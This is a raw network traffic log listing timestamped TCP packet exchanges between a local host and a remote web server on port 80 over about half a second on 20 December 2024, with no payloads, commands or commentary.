Dec 20, 2024 04:12:34.866209030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.867109060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.867156029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.867192030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.867260933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.868105888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.868151903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.868232012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.868275881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.869143963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.869190931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.869256020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.869302988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.870196104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.870297909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.870307922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.870357990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.871206045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.871287107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.871329069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.871428013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.872220993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.872272968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.872399092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.872448921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.873270035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.873332977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.873332977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.873369932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.874320984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.874372959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.874413013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.874490976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.875315905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.875370979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.875427008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.875472069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.876373053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.876425028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.876451015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.876583099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.877438068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.877486944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.877521038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.877563000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.878453016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.878563881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.878616095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.879471064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.879523039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.879580021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.879632950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.880506039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.880597115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.880606890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.880657911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.881520033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.881566048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.881584883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.881624937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.882577896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.882626057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.882685900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.882738113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.883544922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.883631945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.021524906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.021661043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.021722078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.021722078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.021929026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.022109985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.022197962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.022258997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.022289991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.022592068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.023200035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.023299932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.023344994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.023582935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.024265051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.024341106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.024415970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.025290012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.025381088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.025420904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.025506973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.026360035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.026525974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.026698112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.027339935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.027440071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.027486086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.028337002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.028444052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.028476954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.029247999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.029407978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.029536009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.029551983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.029689074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.030441046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.030580044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.030635118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.030636072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.031424046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.031541109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.031594038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.031677961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.032464981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.032588005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.033379078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.033514023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.033617973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.033639908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.033786058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.034529924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.034652948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.034745932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.035578966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.035767078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.035872936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.036623001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.036753893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.037532091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.037619114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.037697077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.037729025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.038058043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.038667917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.038784027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.038876057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.039681911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.039788008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.040150881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.040719986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.040827990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.040859938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.041755915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.042021036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.042074919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.042810917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.042817116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.042903900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.042936087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.043016911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.043821096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.043920040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.044020891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.044867992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.044981956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.044984102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.045356035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.045897007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.046020985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.046051025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.046922922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.047028065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.047060013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.047949076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.047990084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.048042059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.048074007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.048986912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.049118042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.049146891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.049232006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.050026894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.050127983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.050142050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.050430059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.051049948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.051151991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.051181078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.052067041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.052165031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.052200079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.052968025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.053091049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.053174019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.053200960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.054048061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.054142952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.054260969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.054353952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.055187941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.055402994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.055509090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.056210041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.056320906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.057166100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.057255983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.057389021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.057393074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.057529926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.058275938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.058383942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.058463097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.059286118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.059393883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.059408903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.059535980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.060323954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.060403109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.060446978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.060791016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.061363935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.061492920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.061525106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.062396049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.062427998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.062561989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.062592030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.063050032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.063436031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.063503027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.063585997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.064452887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.064554930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.064567089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.064685106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.065478086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.065587044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.065594912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.065910101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.066531897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.066673040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.066719055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.067563057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.067591906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.067671061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.067842960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.068582058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.068695068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.068747044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.069636106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.069739103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.069770098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.069891930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.070709944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.070813894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.071037054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.071681976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.071793079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.071825027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.072091103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.072714090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.072887897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.072921991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.073044062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.073750973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.073847055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.073856115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.073925972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.074775934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.074862957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.074898005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.078782082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.213869095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.213980913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.213998079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.214088917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.214363098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.214443922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.214518070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.214584112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.215338945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.215414047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.215527058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.215593100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.216430902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.216583014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.216610909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.216695070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.217425108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.217502117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.217525005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.217559099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.218424082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.218497992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.218508959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.218569994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.219445944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.219516993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.219525099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.219585896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.220508099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.220571995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.220747948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.220916033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.221513033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.221587896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.221677065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.221740961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.222546101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.222616911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.222650051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.222804070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.223587990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.223613024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.223639965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.223862886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.224608898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.224695921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.224782944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.224858046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.225740910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.225809097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.225830078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.225893021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.226702929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.226768970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.226851940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.227006912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.227704048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.227771044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.227808952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.227874041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.228745937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.228813887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.228816986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.228878021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.229784966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.229841948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.229902983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.230014086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.230825901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.230910063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.230964899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.231070042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.231822014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.231941938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.231976986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.232026100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.232856989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.232903957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.232932091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.232990980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.233903885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.233968973 CET	49838	80	192.168.2.4	31.41.244.11
